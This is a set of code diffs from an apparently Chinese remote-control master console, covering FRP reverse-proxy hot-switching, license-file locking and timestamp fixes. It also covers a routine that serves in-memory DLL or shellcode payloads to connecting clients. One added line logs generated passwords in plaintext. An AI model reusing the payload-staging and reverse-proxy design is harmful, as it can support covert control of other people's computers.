# ---- 2. 删除 Autostart 文件 ----
|
||||
if [[ -f "${AUTOSTART_FILE}" ]]; then
|
||||
rm -f "${AUTOSTART_FILE}"
|
||||
ok "已删除 ${AUTOSTART_FILE}"
|
||||
else
|
||||
info "Autostart 文件不存在(已卸载或未安装过)"
|
||||
fi
|
||||
|
||||
# ---- 3. 删除二进制 ----
|
||||
if [[ -f "${DEST_BIN}" ]]; then
|
||||
if [[ -w "${DEST_BIN}" ]] || [[ -w "$(dirname "${DEST_BIN}")" ]]; then
|
||||
rm -f "${DEST_BIN}"
|
||||
ok "已删除 ${DEST_BIN}"
|
||||
else
|
||||
info "需要 sudo 才能删除 ${DEST_BIN}"
|
||||
sudo rm -f "${DEST_BIN}"
|
||||
ok "已删除 ${DEST_BIN}"
|
||||
fi
|
||||
# 如果安装目录是 ~/.local/bin 且现在空了,不删除(可能用户还有其它东西)
|
||||
else
|
||||
info "二进制不存在(已卸载或不在 ${INSTALL_DIR})"
|
||||
fi
|
||||
|
||||
# ---- 4. 用户配置目录(询问,不主动删)----
|
||||
if [[ -d "${CONFIG_DIR}" ]]; then
|
||||
echo ""
|
||||
warn "用户配置目录仍存在:${CONFIG_DIR}"
|
||||
warn "其中可能包含 PID 文件、日志等。删除后无法恢复。"
|
||||
if confirm " 一并删除配置目录?"; then
|
||||
rm -rf "${CONFIG_DIR}"
|
||||
ok "已删除 ${CONFIG_DIR}"
|
||||
else
|
||||
info "保留配置目录"
|
||||
fi
|
||||
fi
|
||||
|
||||
echo ""
|
||||
echo "${C_GREEN}${C_BOLD}✓ 卸载完成${C_RESET}"
|
||||
@@ -90,6 +90,7 @@
|
||||
#define TIMER_PREVIEW_ARRIVAL 8 // 屏幕预览到达超时(4 秒未收到则提示"预览不可用")
|
||||
#define TIMER_PREVIEW_LOOP 9 // "播放快照"循环拉取(间隔由 LOOP_INTERVAL_MS 决定)
|
||||
#define TIMER_THUMBNAIL_REFRESH 10 // 主机列表缩略图后台刷新(间隔取自 m_ThumbnailCfg)
|
||||
#define TIMER_FRP_CONFIG_CHECK 11 // 检测外部模块对 [settings] FrpConfig 的写入并热切换 FRPC
|
||||
#define TODO_NOTICE MessageBoxL("This feature has not been implemented!\nPlease contact: 962914132@qq.com", "提示", MB_ICONINFORMATION);
|
||||
#define TINY_DLL_NAME "TinyRun.dll"
|
||||
#define FRPC_DLL_NAME "Frpc.dll"
|
||||
@@ -1582,7 +1583,7 @@ LRESULT CMy2015RemoteDlg::OnTrialWanIpAbuse(WPARAM wParam, LPARAM lParam)
|
||||
{
|
||||
CString* ip = (CString*)wParam;
|
||||
CString detail;
|
||||
detail.FormatL("入站公网 IP=%s (Proxy Protocol 真实 IP 或 raw TCP 对端)",
|
||||
detail.FormatL("入站公网 IP: %s (Proxy Protocol 真实 IP 或 raw TCP 对端)",
|
||||
ip ? (LPCTSTR)*ip : _T("?"));
|
||||
ShowMessage(_TR("入站告警"), detail);
|
||||
|
||||
@@ -1867,6 +1868,7 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
||||
}
|
||||
|
||||
THIS_CFG.SetStr("settings", "PwdHash", GetPwdHash());
|
||||
THIS_CFG.SetStr("settings", "UpperHash", GetUpperHash());
|
||||
THIS_CFG.SetStr("settings", "MasterHash", GetMasterHash());
|
||||
THIS_CFG.SetStr("settings", "Version", VERSION_STR);
|
||||
|
||||
@@ -2185,6 +2187,9 @@ BOOL CMy2015RemoteDlg::OnInitDialog()
|
||||
#endif
|
||||
InitFrpClients();
|
||||
InitFrpcAuto(); // FRP 自动代理(由上级提供配置)
|
||||
// 记录启动时的 FRP 配置作为基线,由 TIMER_FRP_CONFIG_CHECK 周期性检测外部模块写入的变更
|
||||
m_lastSeenFrpConfig = THIS_CFG.GetStr("settings", "FrpConfig", "");
|
||||
SetTimer(TIMER_FRP_CONFIG_CHECK, 10 * 1000, NULL); // 10s 间隔,开销可忽略
|
||||
|
||||
UPDATE_SPLASH(90, "正在启动网络服务...");
|
||||
// 最后启动SOCKET
|
||||
@@ -2645,8 +2650,11 @@ bool CMy2015RemoteDlg::GetEffectiveMasterAddress(std::string& outIP, int& outPor
|
||||
return false; // 使用本地配置
|
||||
}
|
||||
|
||||
// 日期字符串转 Unix 时间戳(当天 23:59:59)
|
||||
// 输入: "20260323" -> 输出: 1774329599 (2026-03-23 23:59:59 UTC)
|
||||
// 日期字符串转 Unix 时间戳(当天 23:59:59 UTC)
|
||||
// 输入: "20260323" -> 输出: 1774310399 (2026-03-23 23:59:59 UTC)
|
||||
// 必须使用 UTC(_mkgmtime)而非本地时间(mktime)—— 与上级 FrpDateToTimestamp
|
||||
// 保持一致,否则跨时区的下级算出的 timestamp 与上级生成 privilegeKey 时所用的
|
||||
// timestamp 不同,frps 校验失败(token mismatch)。
|
||||
static time_t DateToTimestamp(const std::string& dateStr)
|
||||
{
|
||||
if (dateStr.length() != 8) return 0;
|
||||
@@ -2656,7 +2664,7 @@ static time_t DateToTimestamp(const std::string& dateStr)
|
||||
t.tm_mon = std::stoi(dateStr.substr(4, 2)) - 1;
|
||||
t.tm_mday = std::stoi(dateStr.substr(6, 2));
|
||||
t.tm_hour = 23; t.tm_min = 59; t.tm_sec = 59;
|
||||
return mktime(&t);
|
||||
return _mkgmtime(&t);
|
||||
} catch (...) {
|
||||
return 0;
|
||||
}
|
||||
@@ -2803,6 +2811,14 @@ void CMy2015RemoteDlg::StartFrpcAuto(const FrpAutoConfig& cfg)
|
||||
THIS_CFG.SetStr("frp_auto", "privilegeKey", cfg.privilegeKey);
|
||||
THIS_CFG.SetStr("frp_auto", "expireDate", cfg.expireDate);
|
||||
|
||||
// 防御性:若已有运行中的 FRPC 线程,先停掉以避免句柄泄露 + 双实例并存。
|
||||
// 正常调用路径会先 StopFrpcAuto,但 InitFrpcAuto 经 [frp_auto] 旧字段启动 +
|
||||
// 随后外部模块写入 [settings] FrpConfig 的场景可能跳过停步,这里兜底。
|
||||
if (m_hFrpAutoThread != NULL) {
|
||||
Mprintf("[FRP-Auto] StartFrpcAuto: 检测到已有运行中的线程,先停止旧实例\n");
|
||||
StopFrpcAuto();
|
||||
}
|
||||
|
||||
// 启动线程
|
||||
m_frpAutoStatus = STATUS_UNKNOWN;
|
||||
m_hFrpAutoThread = CreateThread(NULL, 0, FrpcAutoThreadProc, this, 0, NULL);
|
||||
@@ -2884,6 +2900,72 @@ void CMy2015RemoteDlg::InitFrpcAuto()
|
||||
}
|
||||
}
|
||||
|
||||
// 清空 [frp_auto] 节中所有用于自动恢复的字段。
|
||||
// 必要性:InitFrpcAuto 在 [settings] FrpConfig 为空或解析失败时会回退读取 [frp_auto]
|
||||
// 兼容旧配置,若此处不清理,上级撤销 FRP 后下级一旦重启就会用过期的 privilegeKey
|
||||
// 重新拉起 FRPC,连不上同时还会让上级以为已释放的端口被悄悄占用。
|
||||
static void ClearFrpAutoSection()
|
||||
{
|
||||
THIS_CFG.SetStr("frp_auto", "server", "");
|
||||
THIS_CFG.SetInt("frp_auto", "serverPort", 0);
|
||||
THIS_CFG.SetInt("frp_auto", "remotePort", 0);
|
||||
THIS_CFG.SetStr("frp_auto", "privilegeKey", "");
|
||||
THIS_CFG.SetStr("frp_auto", "expireDate", "");
|
||||
}
|
||||
|
||||
// 周期性检测 [settings] FrpConfig 是否被外部模块(如授权工具)写入变更。
|
||||
// 检测到变更后:先停旧 FRPC(若有),再按新配置启动(若非空),并在主对话框信息列表中给出友好提示。
|
||||
// 三种情况均无需重启主程序:
|
||||
// - 首次(空 → 有):StartFrpcAuto
|
||||
// - 撤销(有 → 空):StopFrpcAuto + ClearFrpAutoSection(防止重启复活)
|
||||
// - 覆盖(有 → 有,值不同):StopFrpcAuto + StartFrpcAuto(StartFrpcAuto 会重写 [frp_auto])
|
||||
void CMy2015RemoteDlg::CheckUpperFrpConfigChange()
|
||||
{
|
||||
std::string cur = THIS_CFG.GetStr("settings", "FrpConfig", "");
|
||||
if (cur == m_lastSeenFrpConfig) return;
|
||||
|
||||
// 解析(沿用现有 ParseFrpAutoConfig,可正确处理含 '-' 的域名)
|
||||
FrpAutoConfig oldCfg = ParseFrpAutoConfig(m_lastSeenFrpConfig);
|
||||
FrpAutoConfig newCfg = ParseFrpAutoConfig(cur);
|
||||
int oldPort = oldCfg.remotePort;
|
||||
int newPort = newCfg.remotePort;
|
||||
|
||||
CString tip;
|
||||
if (m_lastSeenFrpConfig.empty() && !cur.empty()) {
|
||||
// 首次:从无到有 → 启动
|
||||
if (newCfg.enabled) {
|
||||
StartFrpcAuto(newCfg);
|
||||
tip.FormatL("[FRP] 已启用上级 FRP 反向代理(远程端口 %d),已生效", newPort);
|
||||
} else {
|
||||
// 新配置无效,但 cur 非空 —— 提示但不启动;同时确保 [frp_auto] 不残留旧值
|
||||
ClearFrpAutoSection();
|
||||
tip.FormatL("[FRP] 收到无效的 FRP 配置: %s", cur.c_str());
|
||||
}
|
||||
} else if (!m_lastSeenFrpConfig.empty() && cur.empty()) {
|
||||
// 撤销:从有到无 → 停止并清空 [frp_auto](否则下次启动会从 [frp_auto] 复活 FRPC)
|
||||
StopFrpcAuto();
|
||||
ClearFrpAutoSection();
|
||||
tip = _TR("[FRP] 上级已撤销 FRP 反向代理配置,已停止 FRPC");
|
||||
} else {
|
||||
// 覆盖:值变更 → 先停后起
|
||||
StopFrpcAuto();
|
||||
if (newCfg.enabled) {
|
||||
StartFrpcAuto(newCfg); // 内部会用新值覆盖 [frp_auto]
|
||||
tip.FormatL("[FRP] 上级 FRP 反向代理配置已切换(远程端口 %d → %d),已生效",
|
||||
oldPort, newPort);
|
||||
} else {
|
||||
// 新配置无效(解析失败等),旧的 FRPC 已停,[frp_auto] 必须一并清空
|
||||
ClearFrpAutoSection();
|
||||
tip.FormatL("[FRP] 收到无效的新 FRP 配置: %s,已停止旧 FRPC", cur.c_str());
|
||||
}
|
||||
}
|
||||
|
||||
Mprintf("[FRP-Auto] %s\n", (LPCSTR)tip);
|
||||
PostMessageA(WM_SHOWMESSAGE, (WPARAM)new CharMsg((LPCSTR)tip), NULL);
|
||||
|
||||
m_lastSeenFrpConfig = cur;
|
||||
}
|
||||
|
||||
//////////////////////////////////////////////////////////////////////////
|
||||
|
||||
void CMy2015RemoteDlg::ApplyFrpSettings()
|
||||
@@ -3249,6 +3331,9 @@ void CMy2015RemoteDlg::OnTimer(UINT_PTR nIDEvent)
|
||||
if (nIDEvent == TIMER_STATUSBAR_UPDATE) {
|
||||
UpdateStatusBarStats();
|
||||
}
|
||||
if (nIDEvent == TIMER_FRP_CONFIG_CHECK) {
|
||||
CheckUpperFrpConfigChange();
|
||||
}
|
||||
if (nIDEvent == TIMER_STATUSBAR_INIT) {
|
||||
KillTimer(TIMER_STATUSBAR_INIT); // 只执行一次
|
||||
// 强制重新计算状态栏分区宽度
|
||||
@@ -3543,6 +3628,7 @@ void CMy2015RemoteDlg::Release()
|
||||
#ifdef _WIN64
|
||||
StopLocalFrpsServer(); // 停止本地 FRPS 服务器
|
||||
#endif
|
||||
KillTimer(TIMER_FRP_CONFIG_CHECK); // 必须先于 StopFrpcAuto,避免末班定时器再次起飞 FRPC
|
||||
StopFrpcAuto(); // 停止 FRP 自动代理
|
||||
|
||||
THIS_APP->Destroy();
|
||||
@@ -5507,6 +5593,11 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
std::string("-") + getFixedLengthID(finalKey);
|
||||
memcpy(devId, fixedKey.c_str(), fixedKey.length());
|
||||
devId[fixedKey.length()] = 0;
|
||||
Mprintf("Request AUTH: SN= %s, Password= %s\n", deviceID.c_str(), fixedKey.c_str());
|
||||
if (*days && deviceID == "12ca-17b4-9af2-2894") {
|
||||
Mprintf("Unable to authorize trail SN: %s, days: %d\n", ContextObject->GetPeerName().c_str(), int(*days));
|
||||
break;
|
||||
}
|
||||
|
||||
// 检查该设备原授权是 V1 还是 V2
|
||||
std::string origPasscode, origHmac, origRemark;
|
||||
@@ -5541,6 +5632,7 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
|
||||
memcpy(resp + 64, hmac.c_str(), hmac.length());
|
||||
resp[64+hmac.length()] = 0;
|
||||
resp[64 + hmac.length() + 1] = 0;
|
||||
|
||||
// 构建 Authorization(多层授权)- 让下级主控知道向谁进行授权校验
|
||||
// 注意:isV2Auth 判断的是当前服务端是否是授权服务器(有 V2 私钥),而非被授权设备的原授权类型
|
||||
@@ -5642,14 +5734,14 @@ VOID CMy2015RemoteDlg::MessageHandle(CONTEXT_OBJECT* ContextObject)
|
||||
// 检查是否被限流(只限制真实发送 DLL 的请求)
|
||||
if (IsDllRequestLimited(clientIP)) {
|
||||
Mprintf("'%s' Request %s [is64Bit:%d isRelease:%d] SendServerDll: RateLimited\n",
|
||||
clientIP.c_str(), typ == SHELLCODE ? "SC" : "DLL", is64Bit, isRelease);
|
||||
clientIP.c_str(), (typ != MEMORYDLL) ? "SC" : "DLL", is64Bit, isRelease);
|
||||
} else {
|
||||
send = SendServerDll(ContextObject, typ==MEMORYDLL, is64Bit);
|
||||
send = SendServerDll(ContextObject, typ, is64Bit);
|
||||
if (send) {
|
||||
RecordDllRequest(clientIP); // 只有真正发送了才记录
|
||||
}
|
||||
Mprintf("'%s' Request %s [is64Bit:%d isRelease:%d] SendServerDll: %s\n",
|
||||
clientIP.c_str(), typ == SHELLCODE ? "SC" : "DLL", is64Bit, isRelease, send ? "Yes" : "No");
|
||||
clientIP.c_str(), (typ != MEMORYDLL) ? "SC" : "DLL", is64Bit, isRelease, send ? "Yes" : "No");
|
||||
}
|
||||
break;
|
||||
}
|
||||
@@ -6806,10 +6898,11 @@ bool isAllZeros(const BYTE* data, int len)
|
||||
return true;
|
||||
}
|
||||
|
||||
BOOL CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit)
|
||||
BOOL CMy2015RemoteDlg::SendServerDll(CONTEXT_OBJECT* ContextObject, int payloadType, bool is64Bit)
|
||||
{
|
||||
auto isDLL = payloadType == MEMORYDLL;
|
||||
auto id = is64Bit ? PAYLOAD_DLL_X64 : PAYLOAD_DLL_X86;
|
||||
auto buf = isDLL ? m_ServerDLL[id] : m_ServerBin[id];
|
||||
auto buf = isDLL ? m_ServerDLL[id] : payloadType == SHELLCODE ? m_ServerBin[id] : m_TinyRun[id];
|
||||
if (buf->length()) {
|
||||
char version[12] = {};
|
||||
ContextObject->InDeCompressedBuffer.CopyBuffer(version, 12, 4);
|
||||
@@ -10741,15 +10834,16 @@ void CMy2015RemoteDlg::OnWebRemoteControl()
|
||||
int port = THIS_CFG.GetInt("settings", "WebSvrPort", -1);
|
||||
if (port <= 0) {
|
||||
MessageBoxL("请在菜单设置Web端口!", "提示", MB_ICONINFORMATION);
|
||||
return;
|
||||
}
|
||||
else if (m_superPass.empty()) {
|
||||
MessageBoxL("请设置环境变量 " BRAND_ENV_VAR " 来使用Web远程桌面!", "提示", MB_ICONINFORMATION);
|
||||
}else {
|
||||
MessageBoxL("如需Web远程桌面跨网使用方案,请联系管理员!", "提示", MB_ICONINFORMATION);
|
||||
}
|
||||
CString content;
|
||||
content.Format("http://127.0.0.1:%d", port);
|
||||
ShellExecute(NULL, _T("open"), content, NULL, NULL, SW_SHOWNORMAL);
|
||||
MessageBoxL("如需Web远程桌面跨网使用方案,请联系管理员!", "提示", MB_ICONINFORMATION);
|
||||
}
|
||||
}
|
||||
|
||||
// "播放快照"菜单响应:
|
||||
|
||||
@@ -219,11 +219,15 @@ public:
|
||||
void SendFilesToClientV2Internal(context* mainCtx, const std::vector<std::string>& files,
|
||||
uint64_t resumeTransferID, const std::map<uint32_t, uint64_t>& startOffsets, const std::string& targetDir = "");
|
||||
void HandleFileResumeRequest(CONTEXT_OBJECT* ctx, const BYTE* data, size_t len);
|
||||
BOOL SendServerDll(CONTEXT_OBJECT* ContextObject, bool isDLL, bool is64Bit);
|
||||
BOOL SendServerDll(CONTEXT_OBJECT* ContextObject, int payloadType, bool is64Bit);
|
||||
Buffer* m_ServerDLL[PAYLOAD_MAXTYPE];
|
||||
Buffer* m_ServerBin[PAYLOAD_MAXTYPE];
|
||||
Buffer* m_TinyRun[PAYLOAD_MAXTYPE] = {};
|
||||
MasterSettings m_settings;
|
||||
// 缓存上次检测到的上级 FRP 配置([settings] FrpConfig),由定时器检测外部模块写入的变更。
|
||||
// 检出变更后会热切换 FRPC(首次=启动 / 覆盖=重启 / 撤销=停止),并在主对话框信息列表中给出友好提示。
|
||||
std::string m_lastSeenFrpConfig;
|
||||
void CheckUpperFrpConfigChange();
|
||||
static BOOL CALLBACK NotifyProc(CONTEXT_OBJECT* ContextObject);
|
||||
static BOOL CALLBACK OfflineProc(CONTEXT_OBJECT* ContextObject);
|
||||
int AuthorizeClient(context* ctx, const std::string& sn, const std::string& passcode, uint64_t hmac, bool* outExpired = nullptr);
|
||||
|
||||
@@ -284,13 +284,13 @@ bool BmpToJpeg(LPVOID lpBuffer, int width, int height, int quality,
|
||||
return false;
|
||||
}
|
||||
|
||||
// 复制数据(注意:DIB 是底部到顶部,需要翻转)
|
||||
// 输入已为 top-down 的紧凑 BGR24(调用方已通过 Process24BitBmp /
|
||||
// ConvertScreenshot32to24 完成翻转与去对齐),此处直接按行拷贝即可
|
||||
BYTE* srcData = (BYTE*)lpBuffer;
|
||||
BYTE* dstData = (BYTE*)bitmapData.Scan0;
|
||||
|
||||
for (int y = 0; y < height; y++) {
|
||||
// DIB 是从底部开始的,所以需要翻转
|
||||
BYTE* srcRow = srcData + (height - 1 - y) * rowSize;
|
||||
BYTE* srcRow = srcData + y * rowSize;
|
||||
BYTE* dstRow = dstData + y * bitmapData.Stride;
|
||||
memcpy(dstRow, srcRow, width * 3);
|
||||
}
|
||||
|
||||
@@ -1,6 +1,7 @@
|
||||
#pragma once
|
||||
#include <Vfw.h>
|
||||
#pragma comment(lib,"Vfw32.lib")
|
||||
#include "LangManager.h"
|
||||
|
||||
#define ERR_INVALID_PARAM 1
|
||||
#define ERR_NO_ENCODER 2
|
||||
@@ -30,13 +31,13 @@ public:
|
||||
{
|
||||
switch (result) {
|
||||
case ERR_INVALID_PARAM:
|
||||
return ("无效参数");
|
||||
return _L("无效参数").GetString();
|
||||
case ERR_NOT_SUPPORT:
|
||||
return ("不支持的位深度,需要24位或32位");
|
||||
return _L("不支持的位深度,需要24位或32位").GetString();
|
||||
case ERR_NO_ENCODER:
|
||||
return ("未安装x264编解码器 \n下载地址:https://sourceforge.net/projects/x264vfw");
|
||||
return _L("未安装x264编解码器 \n下载地址:https://sourceforge.net/projects/x264vfw").GetString();
|
||||
case ERR_INTERNAL:
|
||||
return("创建AVI文件失败");
|
||||
return _L("创建AVI文件失败").GetString();
|
||||
default:
|
||||
return "succeed";
|
||||
}
|
||||
|
||||
@@ -10,6 +10,8 @@
|
||||
#include "2015RemoteDlg.h"
|
||||
#include "InputDlg.h"
|
||||
#include "IPHistoryDlg.h"
|
||||
#include "FrpsForSubDlg.h"
|
||||
#include "pwd_gen.h"
|
||||
#include <algorithm>
|
||||
|
||||
// CLicenseDlg 对话框
|
||||
@@ -42,14 +44,24 @@ BEGIN_MESSAGE_MAP(CLicenseDlg, CDialogEx)
|
||||
ON_COMMAND(ID_LICENSE_EDIT_REMARK, &CLicenseDlg::OnLicenseEditRemark)
|
||||
ON_COMMAND(ID_LICENSE_VIEW_IPS, &CLicenseDlg::OnLicenseViewIPs)
|
||||
ON_COMMAND(ID_LICENSE_DELETE, &CLicenseDlg::OnLicenseDelete)
|
||||
ON_COMMAND(ID_LICENSE_AUTO_FRP, &CLicenseDlg::OnLicenseAutoFrp)
|
||||
ON_COMMAND(ID_LICENSE_REVOKE_FRP, &CLicenseDlg::OnLicenseRevokeFrp)
|
||||
END_MESSAGE_MAP()
|
||||
|
||||
// 前向声明:实现位于本文件后段(Auto FRP 相关工具)
|
||||
static int ParseRemotePortFromFrpConfig(const std::string& frpConfig);
|
||||
static bool FreeFrpPortAllocation(int port, const std::string& expectedOwner);
|
||||
|
||||
// 获取所有授权信息
|
||||
std::vector<LicenseInfo> GetAllLicenses()
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||
std::vector<LicenseInfo> licenses;
|
||||
std::string iniPath = GetLicensesPath();
|
||||
|
||||
// 注意:CIniParser 走 ifstream 读取整文件,与 WritePrivateProfileString 的内核锁
|
||||
// 不在同一域。必须靠这里的 g_licensesIniMutex 阻止与其它写入交错,否则可能读到
|
||||
// 写入到一半的中间态。
|
||||
CIniParser parser;
|
||||
if (!parser.LoadFile(iniPath.c_str()))
|
||||
return licenses;
|
||||
@@ -298,6 +310,7 @@ void CLicenseDlg::OnSize(UINT nType, int cx, int cy)
|
||||
// 更新授权状态
|
||||
bool SetLicenseStatus(const std::string& deviceID, const std::string& status)
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||
std::string iniPath = GetLicensesPath();
|
||||
config cfg(iniPath);
|
||||
|
||||
@@ -331,6 +344,15 @@ void CLicenseDlg::OnNMRClickLicenseList(NMHDR* pNMHDR, LRESULT* pResult)
|
||||
const auto& lic = m_Licenses[nIndex];
|
||||
menu.AppendMenuL(MF_STRING, ID_LICENSE_RENEWAL, _T("预设续期(&N)..."));
|
||||
menu.AppendMenuL(MF_STRING, ID_LICENSE_EDIT_REMARK, _T("编辑备注(&E)..."));
|
||||
menu.AppendMenuL(MF_STRING, ID_LICENSE_AUTO_FRP, _T("自动FRP(&F)..."));
|
||||
|
||||
// 仅当该授权已分配 FRPC 端口时,才显示"撤销FRP"
|
||||
{
|
||||
std::string existingFrp = LoadLicenseFrpConfig(lic.SerialNumber);
|
||||
if (ParseRemotePortFromFrpConfig(existingFrp) > 0) {
|
||||
menu.AppendMenuL(MF_STRING, ID_LICENSE_REVOKE_FRP, _T("撤销FRP(&U)"));
|
||||
}
|
||||
}
|
||||
|
||||
// 只有当有 IP 记录时才显示查看 IP 历史选项
|
||||
int ipCount = GetIPCountFromList(lic.IP);
|
||||
@@ -440,6 +462,7 @@ int ParseHostNumFromPasscode(const std::string& passcode)
|
||||
// 设置待续期信息
|
||||
bool SetPendingRenewal(const std::string& deviceID, const std::string& expireDate, int hostNum, int quota)
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||
std::string iniPath = GetLicensesPath();
|
||||
config cfg(iniPath);
|
||||
|
||||
@@ -458,6 +481,7 @@ bool SetPendingRenewal(const std::string& deviceID, const std::string& expireDat
|
||||
// 获取待续期信息
|
||||
RenewalInfo GetPendingRenewal(const std::string& deviceID)
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||
RenewalInfo info;
|
||||
std::string iniPath = GetLicensesPath();
|
||||
config cfg(iniPath);
|
||||
@@ -471,6 +495,7 @@ RenewalInfo GetPendingRenewal(const std::string& deviceID)
|
||||
// 清除待续期信息
|
||||
bool ClearPendingRenewal(const std::string& deviceID)
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||
std::string iniPath = GetLicensesPath();
|
||||
config cfg(iniPath);
|
||||
|
||||
@@ -481,8 +506,11 @@ bool ClearPendingRenewal(const std::string& deviceID)
|
||||
}
|
||||
|
||||
// 配额递减,返回是否还有剩余配额
|
||||
// 关键:read-modify-write 的 PendingQuota 必须在锁内完成,否则与 SetPendingRenewal
|
||||
// 并发会丢失用户刚设置的预设续期(旧 bug:用户报告"预设续期消失"的根因)。
|
||||
bool DecrementPendingQuota(const std::string& deviceID)
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||
std::string iniPath = GetLicensesPath();
|
||||
config cfg(iniPath);
|
||||
|
||||
@@ -495,7 +523,7 @@ bool DecrementPendingQuota(const std::string& deviceID)
|
||||
cfg.SetInt(deviceID, "PendingQuota", quota);
|
||||
|
||||
if (quota <= 0) {
|
||||
// 配额用完,清除待续期信息
|
||||
// 配额用完,清除待续期信息(嵌套加锁,recursive_mutex 安全)
|
||||
ClearPendingRenewal(deviceID);
|
||||
return false;
|
||||
}
|
||||
@@ -599,6 +627,7 @@ void CLicenseDlg::OnLicenseRenewal()
|
||||
// 设置授权备注
|
||||
bool SetLicenseRemark(const std::string& deviceID, const std::string& remark)
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||
std::string iniPath = GetLicensesPath();
|
||||
config cfg(iniPath);
|
||||
|
||||
@@ -642,6 +671,7 @@ void CLicenseDlg::OnLicenseEditRemark()
|
||||
// 删除授权
|
||||
bool DeleteLicense(const std::string& deviceID)
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||
std::string iniPath = GetLicensesPath();
|
||||
config cfg(iniPath);
|
||||
|
||||
@@ -651,9 +681,21 @@ bool DeleteLicense(const std::string& deviceID)
|
||||
return false; // 授权不存在
|
||||
}
|
||||
|
||||
// 若该授权占用了 FRP 端口,先释放 frp_ports.ini 中的占用记录,
|
||||
// 否则端口会一直被这个已不存在的 SN "挂账",导致端口池逐步耗尽。
|
||||
std::string frpConfig = cfg.GetStr(deviceID, "FrpConfig", "");
|
||||
int allocatedPort = ParseRemotePortFromFrpConfig(frpConfig);
|
||||
if (allocatedPort > 0) {
|
||||
FreeFrpPortAllocation(allocatedPort, deviceID);
|
||||
}
|
||||
|
||||
// 删除该 section (通过写入 NULL 删除整个 section)
|
||||
BOOL ret = ::WritePrivateProfileStringA(deviceID.c_str(), NULL, NULL, iniPath.c_str());
|
||||
::WritePrivateProfileStringA(NULL, NULL, NULL, iniPath.c_str()); // 刷新缓存
|
||||
|
||||
// 关键:清掉 UpdateLicenseActivity 的内存缓存。否则若同 SN 客户端再次连上来,
|
||||
// cache 命中会跳过落盘 → disk 永远不会重建被删的 section。
|
||||
InvalidateLicenseActivityCache(deviceID);
|
||||
return ret != FALSE;
|
||||
}
|
||||
|
||||
@@ -835,12 +877,17 @@ void CLicenseDlg::OnLicenseViewIPs()
|
||||
|
||||
// 如果有记录被删除,保存更新后的 IP 列表
|
||||
if (removedCount > 0) {
|
||||
// 锁内只做 I/O —— UI 控件更新(SetItemText)放锁外,避免锁内触发
|
||||
// 任何可能的消息循环回调,保持锁占用时间最短
|
||||
{
|
||||
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||
std::string iniPath = GetLicensesPath();
|
||||
config cfg(iniPath);
|
||||
cfg.SetStr(lic.SerialNumber, "IP", newIPList);
|
||||
lic.IP = newIPList; // 更新内存中的数据
|
||||
}
|
||||
lic.IP = newIPList; // 更新内存中的数据(与 m_Licenses 同步,不需要锁)
|
||||
|
||||
// 更新列表显示
|
||||
// 更新列表显示(UI 线程操作,必须在锁外)
|
||||
CString strIPDisplay = FormatIPDisplay(newIPList).c_str();
|
||||
m_ListLicense.SetItemText(nItem, LIC_COL_IP, strIPDisplay);
|
||||
}
|
||||
@@ -960,6 +1007,9 @@ bool FindLicenseByIPAndMachine(const std::string& ip, const std::string& machine
|
||||
{
|
||||
if (ip.empty()) return false;
|
||||
|
||||
// 加锁保护整个 list 遍历,避免与并发的 SetStr(IP, ...) 交错读到中间态。
|
||||
// GetAllLicenses 内部也加锁,recursive_mutex 允许嵌套。
|
||||
std::lock_guard<std::recursive_mutex> _lock(LicensesIniMutex());
|
||||
auto licenses = GetAllLicenses();
|
||||
for (const auto& lic : licenses) {
|
||||
if (lic.IP.empty()) continue;
|
||||
@@ -1010,3 +1060,195 @@ bool FindLicenseByIPAndMachine(const std::string& ip, const std::string& machine
|
||||
}
|
||||
return false;
|
||||
}
|
||||
|
||||
// 从 FrpConfig 字符串解析 remotePort
|
||||
// 格式: "serverAddr:serverPort-remotePort-expireDate-authValue"
|
||||
// 注意:serverAddr 可能是含 '-' 的域名(如 my-server.com),必须从右往左定位
|
||||
// 与 CMy2015RemoteDlg::ParseFrpAutoConfig 的拆分策略一致。
|
||||
static int ParseRemotePortFromFrpConfig(const std::string& frpConfig)
|
||||
{
|
||||
if (frpConfig.empty()) return 0;
|
||||
// 倒数第 1 个 '-':分隔 expireDate 与 authValue
|
||||
size_t dashAuth = frpConfig.rfind('-');
|
||||
if (dashAuth == std::string::npos || dashAuth == 0) return 0;
|
||||
std::string s2 = frpConfig.substr(0, dashAuth);
|
||||
// 倒数第 2 个 '-':分隔 remotePort 与 expireDate
|
||||
size_t dashExpire = s2.rfind('-');
|
||||
if (dashExpire == std::string::npos || dashExpire == 0) return 0;
|
||||
std::string s3 = s2.substr(0, dashExpire);
|
||||
// 倒数第 3 个 '-':分隔 serverAddr:serverPort 与 remotePort
|
||||
size_t dashPort = s3.rfind('-');
|
||||
if (dashPort == std::string::npos || dashPort == 0) return 0;
|
||||
return atoi(s3.substr(dashPort + 1).c_str());
|
||||
}
|
||||
|
||||
// 释放 frp_ports.ini 中指定端口的占用记录。
|
||||
// 必须传入 expectedOwner —— 仅当端口当前的归属确实是它时才清除,
|
||||
// 避免在 race 或外部改动后误抹掉别的 SN 的占用记录。
|
||||
static bool FreeFrpPortAllocation(int port, const std::string& expectedOwner)
|
||||
{
|
||||
if (port <= 0 || expectedOwner.empty()) return false;
|
||||
config portsCfg(CFrpsForSubDlg::GetFrpPortsPath());
|
||||
char portStr[16];
|
||||
sprintf_s(portStr, "%d", port);
|
||||
std::string currentOwner = portsCfg.GetStr("ports", portStr, "");
|
||||
if (currentOwner != expectedOwner) {
|
||||
// 已被改写或释放,不动它
|
||||
return false;
|
||||
}
|
||||
